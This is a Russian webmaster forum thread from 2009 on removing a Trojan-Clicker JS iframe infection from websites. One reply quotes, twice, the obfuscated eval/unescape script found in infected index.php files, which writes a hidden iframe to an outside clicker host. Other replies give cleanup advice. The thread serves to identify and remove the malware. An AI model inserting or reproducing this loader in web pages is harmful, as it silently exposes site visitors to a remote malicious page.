X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость ( Вход | Регистрация )

3 страниц V   1 2 3 >
Открыть тему
Тема закрыта
> Как удалить троян с сайтов?, на моих сайтах! Trojan-Clicker.JS.Iframe.ba
cerrus
cerrus
Topic Starter сообщение 24.11.2009, 23:05; Ответить: cerrus
Сообщение #1


Завсегдатай
*****


Группа: Active User
Сообщений: 540
Регистрация: 21.3.2009
Поблагодарили: 59 раз
Репутация:   17  


Привет! Друзья!
Вот никак мне без вас,
помогите исправить проблему, я тут поставил антивирус касперрского, и столкнулся с следующей бедой
оказывается у меня на моих сайтах "Trojan-Clicker.JS.Iframe.ba" ПОМОГИТЕ, ребята если кто то знает решение етой проблемы то скажите где сидит червяк и как его убрать,
очень надеюсь на вашу помощь



Сообщение отредактировал Salmar - 24.11.2009, 23:23
Причина редактирования: Тема исправлена в соответствии с правилами, просьба учесть на будущее, чтобы не получать предупреждения! В этот раз оно устное.


--------------------
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Zonder
Zonder
сообщение 24.11.2009, 23:08; Ответить: Zonder
Сообщение #2


Участник
***

Группа: User
Сообщений: 213
Регистрация: 9.9.2008
Из: Москва
Поблагодарили: 47 раз
Репутация:   7  


ищи в index.php

///


это ты прописывал?
<script>var PnC=eval,NmB=unescape;PnC(NmB(".64.6f.63.75.6d.65.6e.74.2e.77.72.69.74.65.28.22.3c.68.74.6d.6c.3e.3c.62.6f
.64.79.3e.3c.73.63.72.69.70.74.3e.76.61.72.20.74.65.6d.70.49.46.72.61.6d.65.3d.6
4
.6f.63.75.6d.65.6e.74.2e.63.72.65.61.74.65.45.6c.65.6d.65.6e.74.28.27.69.66.72.6
1
.6d.65.27.29.3b.74.65.6d.70.49.46.72.61.6d.65.2e.73.65.74.41.74.74.72.69.62.75.7
4
.65.28.27.69.64.27.2c.27.52.53.49.46.72.61.6d.65.27.29.3b.74.65.6d.70.49.46.72.6
1
.6d.65.2e.73.65.74.41.74.74.72.69.62.75.74.65.28.27.73.72.63.27.2c.27.68.74.74.7
0
.3a.2f.2f.63.6c.69.63.6b.2d.79.61.6e.64.65.78.2e.6e.65.74.2f.67.65.74.2f.69.6e.2
e
.63.67.69.3f.34.27.29.3b.74.65.6d.70.49.46.72.61.6d.65.2e.73.74.79.6c.65.2e.76.6
9
.73.69.62.69.6c.69.74.79.3d.27.68.69.64.64.65.6e.27.3b.74.65.6d.70.49.46.72.61.6
d
.65.2e.73.74.79.6c.65.2e.77.69.64.74.68.3d.27.30.70.78.27.3b.74.65.6d.70.49.46.7
2
.61.6d.65.2e.73.74.79.6c.65.2e.68.65.69.67.68.74.3d.27.30.70.78.27.3b.49.46.72.6
1
.6d.65.4f.62.6a.20.3d.20.64.6f.63.75.6d.65.6e.74.2e.62.6f.64.79.2e.61.70.70.65.6
e
.64.43.68.69.6c.64.28.74.65.6d.70.49.46.72.61.6d.65.29.3b.3c.2f.73.63.72.69.70.7
4
.3e.3c.2f.62.6f.64.79.3e.3c.2f.68.74.6d.6c.3e.22.29.3b".replace(/[\+.]/g,"%")));</script>
<!-- DataLife Engine Copyright SoftNews Media Group (http://dle-news.ru) -->
<script>var PnC=eval,NmB=unescape;PnC(NmB(".64.6f.63.75.6d.65.6e.74.2e.77.72.69.74.65.28.22.3c.68.74.6d.6c.3e.3c.62.6f
.64.79.3e.3c.73.63.72.69.70.74.3e.76.61.72.20.74.65.6d.70.49.46.72.61.6d.65.3d.6
4
.6f.63.75.6d.65.6e.74.2e.63.72.65.61.74.65.45.6c.65.6d.65.6e.74.28.27.69.66.72.6
1
.6d.65.27.29.3b.74.65.6d.70.49.46.72.61.6d.65.2e.73.65.74.41.74.74.72.69.62.75.7
4
.65.28.27.69.64.27.2c.27.52.53.49.46.72.61.6d.65.27.29.3b.74.65.6d.70.49.46.72.6
1
.6d.65.2e.73.65.74.41.74.74.72.69.62.75.74.65.28.27.73.72.63.27.2c.27.68.74.74.7
0
.3a.2f.2f.63.6c.69.63.6b.2d.79.61.6e.64.65.78.2e.6e.65.74.2f.67.65.74.2f.69.6e.2
e
.63.67.69.3f.34.27.29.3b.74.65.6d.70.49.46.72.61.6d.65.2e.73.74.79.6c.65.2e.76.6
9
.73.69.62.69.6c.69.74.79.3d.27.68.69.64.64.65.6e.27.3b.74.65.6d.70.49.46.72.61.6
d
.65.2e.73.74.79.6c.65.2e.77.69.64.74.68.3d.27.30.70.78.27.3b.74.65.6d.70.49.46.7
2
.61.6d.65.2e.73.74.79.6c.65.2e.68.65.69.67.68.74.3d.27.30.70.78.27.3b.49.46.72.6
1
.6d.65.4f.62.6a.20.3d.20.64.6f.63.75.6d.65.6e.74.2e.62.6f.64.79.2e.61.70.70.65.6
e
.64.43.68.69.6c.64.28.74.65.6d.70.49.46.72.61.6d.65.29.3b.3c.2f.73.63.72.69.70.7
4
.3e.3c.2f.62.6f.64.79.3e.3c.2f.68.74.6d.6c.3e.22.29.3b".replace(/[\+.]/g,"%")));</script>


если нет то удаляй

Сообщение отредактировал Zonder - 24.11.2009, 23:09


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
KipiaSoft
KipiaSoft
сообщение 24.11.2009, 23:09; Ответить: KipiaSoft
Сообщение #3


Старожил
******

Группа: Active User
Сообщений: 2096
Регистрация: 16.11.2009
Из: Волгоград
Поблагодарили: 632 раза
Репутация:   74  


смотри файлы index


--------------------


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
cerrus
cerrus
Topic Starter сообщение 24.11.2009, 23:11; Ответить: cerrus
Сообщение #4


Завсегдатай
*****


Группа: Active User
Сообщений: 540
Регистрация: 21.3.2009
Поблагодарили: 59 раз
Репутация:   17  


Не не я не чего не прописывал


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Zonder
Zonder
сообщение 24.11.2009, 23:13; Ответить: Zonder
Сообщение #5


Участник
***

Группа: User
Сообщений: 213
Регистрация: 9.9.2008
Из: Москва
Поблагодарили: 47 раз
Репутация:   7  


(cerrus @ 24.11.2009, 22:11) *
Не не я не чего не прописывал



в файле index.php удаляй эти строки >>> см выше


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
dibility
dibility
сообщение 24.11.2009, 23:13; Ответить: dibility
Сообщение #6


Я в топе. А ты?
******

Группа: Active User
Сообщений: 1296
Регистрация: 21.10.2008
Из: Фиджи...пляж..
Поблагодарили: 861 раз
Репутация:   104  


Проверь все файло на наличие того, что показали.
Обычно фреймят не только индекс, но и глубже.


--------------------


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Stark
Stark
сообщение 24.11.2009, 23:20; Ответить: Stark
Сообщение #7


Участник
***

Группа: User
Сообщений: 183
Регистрация: 29.9.2009
Из: Россия, Йошкар-Ола
Поблагодарили: 58 раз
Репутация:   7  


Вот у меня kasseler cms дак там во всех папках в каждом index.php файле было по вирусу, но после смены прав на папки все стало норм.


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
pyromaniac
pyromaniac
сообщение 24.11.2009, 23:47; Ответить: pyromaniac
Сообщение #8


Участник
***

Группа: User
Сообщений: 183
Регистрация: 12.5.2009
Поблагодарили: 159 раз
Репутация:   27  


Также замечал сей код и в некоторых index.html, так что проверяй тщательно...


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
lostprophet
lostprophet
сообщение 24.11.2009, 23:52; Ответить: lostprophet
Сообщение #9


Топовый постер
*******

Группа: Super Moderator
Сообщений: 2567
Регистрация: 18.11.2008
Из: Ростов-на-Дону
Поблагодарили: 3172 раза
Репутация:   292  


pyromaniac, именно этот код был???


--------------------


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
pyromaniac
pyromaniac
сообщение 24.11.2009, 23:56; Ответить: pyromaniac
Сообщение #10


Участник
***

Группа: User
Сообщений: 183
Регистрация: 12.5.2009
Поблагодарили: 159 раз
Репутация:   27  


(lostprophet @ 24.11.2009, 23:52) *
pyromaniac, именно этот код был???

Да, такой же, полностью избавился уже

Сообщение отредактировал pyromaniac - 24.11.2009, 23:56


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
3 страниц V   1 2 3 >
Открыть тему
Тема закрыта
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Открытая тема (нет новых ответов) Куплю базы трастовых сайтов
1 seobomjru 501 Вчера, 23:41
автор: Kuzzma
Горячая тема (нет новых ответов) ВНИМАНИЕ: Как самостоятельно продвинуть сайт? Научу!
консультации в домашних условиях :)
227 GlazAlmaz 78080 Вчера, 22:35
автор: Dempo
Открытая тема (нет новых ответов) Как продвинуть товар в интернете ?
0 DimaMyrzich 308 Вчера, 21:14
автор: DimaMyrzich
Горячая тема (нет новых ответов) Тема имеет прикрепленные файлыКачественный прогон Хрумером всего 6 WMZ. Пачки сайтов от 3 WMZ
Большой опыт роботы. Прогон пачок. Комментарии, профиля, гостевые
155 effovenon 77407 Вчера, 20:26
автор: effovenon
Открытая тема (нет новых ответов) Тема имеет прикрепленные файлыСоздание сайтов и лендингов - под Ключ!
создание сайтов на движках любых. Дорого
5 vadosseo 570 Вчера, 20:23
автор: vadosseo


 



RSS Текстовая версия Сейчас: 19.12.2017, 2:34
Дизайн